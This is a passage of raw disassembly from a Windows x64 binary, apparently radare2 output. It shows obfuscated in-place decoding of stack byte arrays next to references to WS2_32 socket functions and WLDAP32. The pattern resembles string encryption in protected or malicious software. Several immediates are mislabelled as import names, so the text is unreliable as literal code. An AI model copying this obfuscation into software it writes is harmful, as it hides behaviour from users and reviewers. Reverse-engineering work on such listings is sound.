mov edx, 1
call fcn.1401a2714
mov byte [rbp + 0x480], 0xfe
mov byte [rbp + 0x481], 0xb1
mov byte [rbp + 0x482], 0x87
mov byte [rbp + 0x483], 0xb3
mov byte [rbp + 0x484], 0xb4
mov byte [rbp + 0x485], reloc.WLDAP32.dll_Ordinal_41
xor eax, eax
mov qword [rbp + 0x486], rax
mov dword [rbp + 0x48e], eax
mov bl, byte [rsp + 0x50]
movabs rsi, 0x852f948bcec8ed5a
movabs r14, 0x2759038ad0d1750e
movabs r15, 0x5cda52a81649e85c
movabs r12, 0x527b299078b80da8
movabs r13, 0x3dbcd7613d945840
call fcn.1401abe8c
mov rdi, qword [rax]
call fcn.1401abe94
mov r11, qword [rax]
xor eax, eax
mov r9d, eax
cmp r9, 0x12
jae 0x14014a324
movzx r8d, byte [rbp + r9 + 0x480]
mov r10, r8
cmp rdi, r9
ja 0x14014a31b
lea rax, [r11 + 1]
cmp rdi, rax
jae 0x1401497ec
lea rcx, [r9 + rsi]
mov rax, r8
and rax, rcx
imul rbx, rax, 0xfffffffffffffffe
add rbx, r8
add rbx, rcx
sub bl, 0x76
jmp 0x140149819
je 0x14014a29c
lea rax, [r11 + 3]
cmp rdi, rax
je 0x14014a212
lea rax, [r11 + 5]
cmp rdi, rax
je 0x14014a1b4
lea rax, [r11 + 9]
cmp rdi, rax
je 0x14014a15f
cmp r11, r9
ja 0x14014a312
lea rax, [r11 + 0x80]
cmp rdi, rax
jae 0x140149851
movabs rdx, 0xece72f77f67b7862
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14014989f
lea rax, [r11 + 1]
cmp rdi, rax
je 0x14014a14e
lea rax, [r11 + 2]
cmp rdi, rax
je 0x14014a129
lea rax, [r11 + 3]
cmp rdi, rax
je 0x14014a106
lea rax, [r11 + 5]
cmp rdi, rax
je 0x14014a0e3
lea rax, [r11 + 4]
cmp rdi, rax
je 0x14014a0c1
lea rax, [r11 + 9]
cmp rdi, rax
je 0x14014a09b
lea rax, [rdi + r11]
cmp rax, r9
jbe 0x140149de3
lea rax, [r11 + 0x10]
cmp rdi, rax
je 0x140149dcf
lea rax, [r11 + 0xa]
cmp rdi, rax
je 0x140149dbb
lea rax, [r11 + 9]
cmp rdi, rax
je 0x140149da7
lea rax, [r11 + 8]
cmp rdi, rax
je 0x140149d85
lea rax, [r11 + 6]
cmp rdi, rax
je 0x140149d63
lea rcx, [r11 + 5]
cmp rdi, rcx
je 0x140149d41
lea rax, [r11 + 4]
cmp rdi, rax
je 0x140149d20
lea rax, [r11 + 3]
cmp rdi, rax
je 0x140149cfe
lea rax, [r11 + 0x20]
cmp rdi, rax
je 0x140149cdc
mov rdi, rcx
lea r11, [rcx + 0xa]
lea rax, [r11 + 4]
cmp rcx, rax
jb 0x14014a2f9
lea rax, [r11 + 3]
cmp rcx, rax
jb 0x14014a2d6
lea rax, [r11 + 2]
cmp rcx, rax
jb 0x140149a91
lea rax, [r11 + 1]
cmp rcx, rax
jb 0x140149a6f
lea rax, [r11 + 0x2a]
cmp rcx, rax
jb 0x140149a4d
lea rcx, [r11 + 0x5a]
cmp rdi, rcx
jb 0x140149c7a
lea rax, [r11 + 0x41]
cmp rdi, rax
jb 0x140149bf3
lea rax, [r11 + 0x7a]
cmp rdi, rax
jb 0x140149be2
lea rax, [r11 + 0x61]
cmp rdi, rax
jb 0x140149bb4
lea rax, [r11 + 0x1000]
cmp rdi, rax
jb 0x1401498ac
mov rdi, rcx
lea r11, [rcx + 3]
lea rax, [r11 + 0x41]
cmp rcx, rax
ja 0x140149b92
lea rax, [r11 + 0x7a]
cmp rcx, rax
ja 0x140149b6c
lea rax, [r11 + 0x61]
cmp rcx, rax
ja 0x140149b48
lea rax, [r11 + 0x1000]
cmp rcx, rax
ja 0x140149b22
lea rax, [r11 + 0x400]
cmp rcx, rax
ja 0x140149b05
lea rcx, [r11 + 0x3e8]
cmp rdi, rcx
ja 0x140149af1
lea rax, [r11 + 0x200]
cmp rdi, rax
ja 0x140149ae3
lea rax, [r11 + 0x80]
cmp rdi, rax
ja 0x140149ad5
lea rax, [r11 + 0x64]
cmp rdi, rax
ja 0x140149ab3
lea rax, [r11 + 0x42]
cmp rdi, rax
ja 0x1401498ac
mov rdi, rcx
lea r11, [rcx + 0x40]
jmp 0x1401498ac
movabs rcx, 0x50d5a7e94718dfde
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x12
jmp 0x14014989f
movabs rcx, 0x46767ed1a987052a
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x26
jmp 0x140149819
movabs rcx, 0x3c1755ba0bf52a76
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x3a
jmp 0x1401497be
movabs rcx, 0x67397bbfb3dbc310
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x70
jmp 0x14014a180
lea rdx, [r9 + r15]
mov ecx, 0x3e
jmp 0x140149f5d
lea rdx, [r9 + r12]
mov ecx, 0x34
jmp 0x140149f8c
movabs rdx, 0x481c0078db2632f4
mov ecx, Ordinal_46
jmp 0x14014a1c3
lea rdx, [r9 + r13]
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14014a1fd
movabs rdx, 0x335dae49a0027d8c
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_22
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14014a200
movabs rdx, 0x28fe85320270a2d8
add rdx, r9
mov al, r8b
and al, dl
mov ecx, recv
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
jmp 0x14014a231
movabs rdx, 0x1e9f5c1a64dec824
add rdx, r9
mov al, dl
and al, r8b
mov ecx, 2
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14014a265
movabs rcx, 0x14403302c74ced70
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x10
jmp 0x14014a2ba
movabs rdx, 0x7a524c47bd604aae
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_32
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
mov byte [rbp + r9 + 0x480], bl
jmp 0x14014a2c9
movabs rdx, 0x6ff323301fce6ffa
mov ecx, reloc.WS2_32.dll_setsockopt
jmp 0x140149c3d
movabs rdx, 0x6593fa18823c9546
add rdx, r9
mov al, dl
and al, r8b
mov ecx, ntohl
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
cmp rdi, 0x1000
jae 0x14014a044
lea rax, [r11 + 0x5a]
cmp rdi, rax
jbe 0x140149fd0
movabs rdx, 0xa93d94c83c5c06d4
mov ecx, reloc.WLDAP32.dll_Ordinal_26
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
cmp r11, 0x42
jb 0x140149bd5
movabs rcx, 0x10f52fb4640e91dc
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
add cl, r8b
lea ebx, [rcx*2 - 8]
jmp 0x14014a180
movabs rdx, 0x5b34d100e4aaba92
add rdx, r9
mov al, dl
and al, r8b
mov ecx, 1
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
lea rax, [rdi + r11]
mov ecx, 1
cmp rax, rcx
je 0x14014a06d
lea rax, [r11 + 5]
cmp rdi, rax
jbe 0x140149f17
movabs rcx, 0xbc56655045e08e72
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x1e
jmp 0x140149c14
movabs rcx, 0x8d6b1ccfc6e4d24c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x14
jmp 0x14014a2ba
movabs rcx, 0x830bf3b82952f798
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x28
jmp 0x14014a265
movabs rdx, 0x78accaa08bc11ce4
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x3c
jmp 0x14014a231
movabs rcx, 0x6e4da188ee2f4230
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x50
jmp 0x14014a200
movabs rcx, 0x63ee7871509d677c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x64
jmp 0x14014a1fd
movabs rcx, 0x598f4f59b30b8cc8
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x78
jmp 0x14014a1d5
movabs rdx, 0x4f3026421579b214
mov ecx, Ordinal_60
jmp 0x140149f89
movabs rdx, 0x44d0fd2a77e7d760
mov ecx, Ordinal_50
jmp 0x140149f5a
movabs rdx, 0x3a71d412da55fcac
mov ecx, Ordinal_41
jmp 0x14014a16e
lea rcx, [r11 + 6]
cmp rdi, rcx
jae 0x140149e05
lea rcx, [r9 + rsi]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x76
jmp 0x140149c9b
lea rax, [r11 + 1]
cmp rdi, rax
jne 0x140149e30
movabs rcx, 0xd9ce5eefecf6f0c4
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x5c
jmp 0x14014a2ba
lea rax, [r11 + 2]
cmp rdi, rax
jne 0x140149e5b
movabs rcx, 0x34b034e633e5b94
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0xc
jmp 0x14014a1fd
cmp rdi, rcx
jne 0x140149e86
movabs rdx, 0xdaa2c6600d03648
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 4
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14014a1d5
lea rax, [r11 + 5]
cmp rdi, rax
jne 0x140149eb5
movabs rdx, 0x1809557d9e6210fc
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WS2_32.dll_ntohl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14014a147
lea rax, [r11 + 4]
cmp rdi, rax
jne 0x140149ee4
movabs rdx, 0x22687e953bf3ebb0
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_27
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14014a1a4
lea rax, [r11 + 3]
cmp rdi, rax
jne 0x140149c9b
movabs rdx, 0x2cc7a7acd985c664
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_35
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14014a180
lea rax, [r11 + 1]
cmp rdi, rax
jne 0x140149f42
movabs rcx, 0xc6b58e67e3726926
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0xa
jmp 0x14014a180
lea rax, [r11 + 2]
cmp rdi, rax
jne 0x140149f71
movabs rdx, 0xd114b77f810443da
mov ecx, 5
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14014a1a4
lea rax, [r11 + 3]
cmp rdi, rax
jne 0x140149fa0
movabs rdx, 0xdb73e0971e961e8e
mov ecx, reloc.WS2_32.dll_ntohs
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14014a147
lea rax, [r11 + 8]
cmp rdi, rax
jne 0x140149c14
movabs rcx, 0x19aed724d0013ec6
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x6a
jmp 0x14014a2ba
lea rax, [r11 + 1]
cmp rdi, rax
jne 0x140149fed
movabs rdx, 0xb39cbddfd9ede188
mov ecx, 0x24
jmp 0x14014a0aa
lea rax, [r11 + 2]
cmp rdi, rax
jne 0x14014a014
movabs rdx, 0xc85b100f151196f0
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_60
sub cl, al
lea ebx, [rcx + rcx]
jmp 0x14014a091
lea rax, [r11 + 5]
cmp rdi, rax
jne 0x140149c4f
movabs rcx, 0xdd19623e50354c58
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x68
jmp 0x14014a1fd
movabs rdx, 0x1b5458cc01a06c90
add rdx, r9
mov al, dl
and al, r8b
mov ecx, 8
sub cl, al
lea ebx, [rcx + rcx]
add bl, byte [rbp + r9 + 0x480]
jmp 0x14014a1d0
movabs rdx, 0x25b381e39f324744
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea ebx, [rcx + rcx]
sub bl, byte [rbp + r9 + 0x480]
add bl, dl
add bl, r8b
jmp 0x14014a233
movabs rdx, 0x4a3fa14c809c28b6
mov ecx, 3
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14014a2ba
movabs rcx, 0x35814f1d4578734e
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x22
jmp 0x14014a233
movabs rcx, 0x2b222605a7e6989a
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x36
jmp 0x14014a200
movabs rcx, 0x20c2fcee0a54bde6
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x4a
jmp 0x14014a1fd
movabs rcx, 0xc04aabecf31087e
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x72
mov eax, 1
jmp 0x14014a1ac
movabs rdx, 0xf746588f940d5316
mov ecx, 0x33
jmp 0x14014a16e
movabs rdx, 0xe288066058e99dae
mov ecx, Ordinal_32
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
movabs rcx, 0x9624c44032d77f36
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x7a
add cl, r8b
mov byte [rbp + r9 + 0x480], cl
mov eax, 1
add r11, rax
sub r9, rax
jmp 0x14014a2ce
movabs rdx, 0xc36a8b1980340d92
mov ecx, 1
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
movabs rdx, 0xa083ed57d06959ea
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov cl, bl
sub cl, al
sub cl, 0x66
add cl, r8b
add cl, dl
mov byte [rbp + r9 + 0x480], cl
add rdi, r11
movzx eax, bl
or rcx, 0xffffffffffffffff
sub rcx, rax
add r9, rcx
jmp 0x14014a2c9
mov r8, r10
movabs rdx, 0xa44d0fd2a77e7d76
add rdx, r9
mov al, dl
and al, r10b
add al, al
mov bl, r10b
sub bl, al
sub bl, 0x3a
add bl, dl
movabs rdx, 0xaae3166f6dfb349e
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov cl, r8b
sub cl, al
sub cl, 0x52
add cl, dl
movzx eax, cl
mov byte [rbp + r9 + 0x480], al
inc r11
add rax, r11
sub r9, rax
movabs rdx, 0x3012aafb3cc421f8
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_32
sub cl, al
add cl, cl
add cl, dl
add cl, r8b
mov byte [rbp + r9 + 0x480], cl
inc rdi
or rax, 0xffffffffffffffff
sub rax, rdi
add r9, rax
jmp 0x14014a2ba
movabs rcx, 0x8f8ebda36c5ac80e
add rcx, r9
mov al, r10b
and al, cl
add al, al
sub r10b, al
lea ebx, [rcx + r10]
sub bl, 0x62
movzx eax, byte [rbp + r9 + 0x480]
add rax, r11
add r9, rax
mov eax, 1
add r9, rax
jmp 0x1401497ab
movabs rcx, 0x31b82ca26e634fc2
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x4e
jmp 0x1401497a6
lea rcx, [r9 + r14]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x62
jmp 0x140149796
lea rcx, [rbp + 0x17f7cf8]
jmp 0x14014a32b
lea rcx, [rbp + 0x1486a52]
jmp 0x14014a32b
lea rcx, [rbp + 0x480]
xor edx, edx
call fcn.1401a2714
xor r13d, r13d
test al, al
je 0x14014f4a7
mov byte [rbp + 0xc10], 0x9b
mov byte [rbp + 0xc11], 0x59
mov byte [rbp + 0xc12], 0x80
mov byte [rbp + 0xc13], 0x5b
mov byte [rbp + 0xc14], 0xa0
mov byte [rbp + 0xc15], 0x45
mov byte [rbp + 0xc16], 0xbb
mov byte [rbp + 0xc17], 0x47
mov byte [rbp + 0xc18], reloc.WLDAP32.dll_Ordinal_211
mov byte [rbp + 0xc19], 0x41
mov byte [rbp + 0xc1a], 0xaf
mov byte [rbp + 0xc1b], 0x43
mov byte [rbp + 0xc1c], 0xde
mov byte [rbp + 0xc1d], Ordinal_79
mov byte [rbp + 0xc1e], 0xdd
mov byte [rbp + 0xc1f], reloc.WLDAP32.dll_Ordinal_79
mov byte [rbp + 0xc20], 0xac
mov byte [rbp + 0xc21], Ordinal_79
mov byte [rbp + 0xc22], 0x86
mov byte [rbp + 0xc23], Ordinal_79
mov byte [rbp + 0xc24], 0x99
mov byte [rbp + 0xc25], 0x75
mov byte [rbp + 0xc26], 0x98
mov byte [rbp + 0xc27], 0x77
mov byte [rbp + 0xc28], __WSAFDIsSet
mov byte [rbp + 0xc29], WSACleanup
mov byte [rbp + 0xc2a], 0xef
mov byte [rbp + 0xc2b], reloc.WS2_32.dll_WSAStartup
mov byte [rbp + 0xc2c], 0xe8
mov byte [rbp + 0xc2d], 0x7d
mov byte [rbp + 0xc2e], 0xe2
mov byte [rbp + 0xc2f], 0x7f
mov byte [rbp + 0xc30], 0x9c
mov byte [rbp + 0xc31], 0x79
mov byte [rbp + 0xc32], 0xbb
mov byte [rbp + 0xc33], 0x7b
mov byte [rbp + 0xc34], 0xf4
mov byte [rbp + 0xc35], 0x65
mov byte [rbp + 0xc36], 0xf6
mov byte [rbp + 0xc37], 0x67
mov byte [rbp + 0xc38], 0xac
mov byte [rbp + 0xc39], 0x61
mov byte [rbp + 0xc3a], 0x83
mov byte [rbp + 0xc3b], 0x63
mov byte [rbp + 0xc3c], 0xf0
mov byte [rbp + 0xc3d], WSASetLastError
mov byte [rbp + 0xc3e], reloc.WLDAP32.dll_Ordinal_143
mov byte [rbp + 0xc3f], reloc.WS2_32.dll_WSAGetLastError
mov byte [rbp + 0xc40], Ordinal_143
mov byte [rbp + 0xc41], WSAGetLastError
mov byte [rbp + 0xc42], 0xa7
mov byte [rbp + 0xc43], WSASetLastError
mov byte [rbp + 0xc44], 0x88
mov byte [rbp + 0xc45], reloc.WS2_32.dll_setsockopt
mov byte [rbp + 0xc46], 0xfe
mov byte [rbp + 0xc47], reloc.WS2_32.dll_socket
mov byte [rbp + 0xc48], 0xfd
mov byte [rbp + 0xc49], reloc.WS2_32.dll_recvfrom
mov byte [rbp + 0xc4a], 0x80
mov byte [rbp + 0xc4b], reloc.WS2_32.dll_send
mov byte [rbp + 0xc4c], 0xfd
mov byte [rbp + 0xc4d], Ordinal_32
mov byte [rbp + 0xc4e], reloc.WLDAP32.dll_Ordinal_200
mov byte [rbp + 0xc4f], Ordinal_32
mov byte [rbp + 0xc50], 0xfa
mov byte [rbp + 0xc51], Ordinal_27
mov byte [rbp + 0xc52], 0xf3
mov byte [rbp + 0xc53], reloc.WLDAP32.dll_Ordinal_27
mov byte [rbp + 0xc54], __WSAFDIsSet
mov byte [rbp + 0xc55], 5
mov byte [rbp + 0xc56], 6
mov byte [rbp + 0xc57], 7
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xc58], xmm0
mov qword [rbp + 0xc68], rax
mov dil, byte [rsp + 0x50]
movabs r14, 0xe2ff43c1b0c1bb8c
call fcn.1401abe8c
mov rbx, qword [rax]
call fcn.1401abe94
mov r9, qword [rax]
mov r12d, Ordinal_41
mov r10, r13
mov esi, 1
cmp r10, 0x60
jae 0x14014afca
movzx r8d, byte [rbp + r10 + 0xc10]
mov r11d, r8d
cmp rbx, r10
ja 0x14014afc1
lea rax, [r9 + 1]
cmp rbx, rax
jae 0x14014a5ca
movabs rcx, 0xe2ff43c1b0c1bb8c
add rcx, r10
mov rax, rcx
and rax, r8
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, r8
add dil, 0x2c
movabs r14, 0xe2ff43c1b0c1bb8c
jmp 0x14014a5f7
je 0x14014af3c
lea rax, [r9 + 2]
cmp rbx, rax
je 0x14014aee7
lea rax, [r9 + 5]
cmp rbx, rax
je 0x14014ae84
lea rax, [r9 + 3]
cmp rbx, rax
je 0x14014ae5d
cmp r9, r10
ja 0x14014afb8
lea rax, [r9 + 0x400]
cmp rbx, rax
jae 0x14014a62f
movabs rcx, 0x9ef08ee37fe4627c
add rcx, r10
mov al, r8b
and al, cl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x64
add dil, cl
jmp 0x14014a663
lea rax, [r9 + 1]
cmp rbx, rax
je 0x14014ae16
lea rax, [r9 + 2]
cmp rbx, rax
je 0x14014adf2
lea rax, [r9 + 4]
cmp rbx, rax
je 0x14014adcf
lea rax, [r9 + 5]
cmp rbx, rax
je 0x14014adac
mov r11d, Ordinal_32
lea rax, [r9 + rbx]
cmp rax, r10
jbe 0x14014a9c5
lea rax, [r9 + 0x41]
cmp rbx, rax
je 0x14014a9a2
lea rax, [r9 + 0x64]
cmp rbx, rax
je 0x14014a97b
lea rax, [r9 + 8]
cmp rbx, rax
je 0x14014a957
lea rax, [r9 + 0x5a]
cmp rbx, rax
je 0x14014a933
lea rax, [r9 + 0x80]
cmp rbx, rax
je 0x14014a910
lea rax, [r9 + 9]
cmp rbx, rax
je 0x14014a8e9
lea rbx, [r9 + 4]
lea r9, [rbx + 0x2a]
lea rax, [r9 + 0x61]
cmp rbx, rax
jb 0x14014af94
lea rax, [r9 + 0x40]
cmp rbx, rax
jb 0x14014af71
lea rax, [r9 + 5]
cmp rbx, rax
jb 0x14014a78e
lea rax, [r9 + 0x7a]
cmp rbx, rax
jb 0x14014a8d2
lea rax, [r9 + 0x42]
cmp rbx, rax
jb 0x14014a8a3
lea rax, [r9 + 6]
cmp rbx, rax
jb 0x14014a676
lea rbx, [r9 + 2]
lea r9, [rbx + 0x41]
lea rax, [r9 + 0x10]
cmp rbx, rax
ja 0x14014a87c
lea rax, [r9 + 2]
cmp rbx, rax
ja 0x14014a86b
lea rax, [r9 + 0x400]
cmp rbx, rax
ja 0x14014a848
lea rax, [r9 + 0x20]
cmp rbx, rax
ja 0x14014a821
lea rax, [r9 + 3]
cmp rbx, rax
ja 0x14014a7fa
lea rax, [r9 + 0x1000]
cmp rbx, rax
ja 0x14014a7d6
lea rax, [r9 + 0x28]
cmp rbx, rax
ja 0x14014a7b3
lea rbx, [r9 + 0x80]
lea r9, [rbx + 0x28]
jmp 0x14014a676
movabs rdx, 0x4099ca2af930d504
add rdx, r10
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
add dil, dl
sub dil, r11b
jmp 0x14014a669
movabs rdx, 0xf784771bff2313e0
add rdx, r10
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x20
jmp 0x14014aba0
movabs rcx, 0x3185ef989d9f9cc8
add rcx, r10
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x78
jmp 0x14014ae58
movabs rdx, 0x6b8768153c1c25b0
add rdx, r10
mov al, dl
and al, r8b
mov ecx, Ordinal_27
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x14014ae7c
movabs rdx, 0x198bd18b1791c068
add rdx, r10
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x14014aed4
movabs rcx, 0x538d4a07b60e4950
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x30
jmp 0x14014ad73
movabs rdx, 0x8d8ec284548ad238
mov ecx, reloc.WLDAP32.dll_Ordinal_60
jmp 0x14014a8f8
movabs rdx, 0xc7903b00f3075b20
add rdx, r10
mov al, r8b
and al, dl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x14014af5a
movabs rdx, 0x5893e8387f3eb164
add rdx, r10
mov al, r8b
and al, dl
mov ecx, Ordinal_35
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
mov byte [rbp + r10 + 0xc10], dil
jmp 0x14014af69
movabs rdx, 0x69851ae5ab44c1c
add rdx, r10
mov ecx, reloc.WLDAP32.dll_Ordinal_30
jmp 0x14014a9db
movabs rdx, 0xf3a4d1d19dd6d7d0
mov ecx, Ordinal_41
add rdx, r10
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x14014af07
movabs rcx, 0x2da64a4e3c5360b8
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 8
jmp 0x14014ad73
movabs rcx, 0x67a7c2cadacfe9a0
add rcx, r10
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x60
jmp 0x14014aed4
movabs rcx, 0x15ac2c40b6458458
add rcx, r10
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x68
jmp 0x14014ae7c
movabs rdx, 0x4fada4bd54c20d40
add rdx, r10
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x14014ae58
movabs rcx, 0x89af1d39f33e9628
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x18
jmp 0x14014ae34
lea rax, [r9 + 0x61]
cmp rbx, rax
jae 0x14014aa96
lea rdx, [r10 + r14]
mov ecx, reloc.WLDAP32.dll_Ordinal_22
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
lea rax, [r9 + rbx]
cmp rax, 2
je 0x14014ad4b
lea rax, [r9 + 0x41]
cmp rbx, rax
jbe 0x14014ab79
movabs rdx, 0x16d325271e29b05c
add rdx, r10
mov al, dl
and al, r8b
mov ecx, 0x3e
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
cmp rbx, 0x80
jae 0x14014ad23
lea rax, [r9 + 0x28]
cmp rbx, rax
jbe 0x14014ac21
movabs rdx, 0xb5c3b40a9e0e12d8
add rdx, r10
mov al, r8b
and al, dl
mov ecx, recv
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
cmp r9, 0x42
jb 0x14014a8c5
movabs rdx, 0x71b4ff2c6d30b9c8
add rdx, r10
mov al, r8b
and al, dl
mov ecx, 4
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
lea edi, [rcx + rcx]
jmp 0x14014ae34
lea rax, [r9 + 1]
cmp rbx, rax
jne 0x14014aac4
movabs rdx, 0x3de11dc6ffc8c4f8
mov ecx, r11d
add rdx, r10
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x14014af5a
lea rax, [r9 + 3]
cmp rbx, rax
jne 0x14014aaf0
movabs rdx, 0xc9de2ccdc2cfb328
add rdx, r10
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x18
jmp 0x14014ad70
lea rax, [r9 + 2]
cmp rbx, rax
jne 0x14014ab1d
movabs rcx, 0x55db3bd485d6a158
add rcx, r10
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x68
jmp 0x14014aed1
lea rax, [r9 + 5]
cmp rbx, rax
jne 0x14014ab49
movabs rcx, 0x1bd9c357e75a1870
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x10
jmp 0x14014aea6
lea rax, [r9 + 8]
cmp rbx, rax
jne 0x14014a9eb
movabs rcx, 0x6dd559e20be47db8
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 8
jmp 0x14014ae34
lea rax, [r9 + 1]
cmp rbx, rax
jne 0x14014aba8
movabs rdx, 0xdcd1acaa7fad2774
add rdx, r10
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x2c
add dil, dl
jmp 0x14014ae34
lea rax, [r9 + 2]
cmp rbx, rax
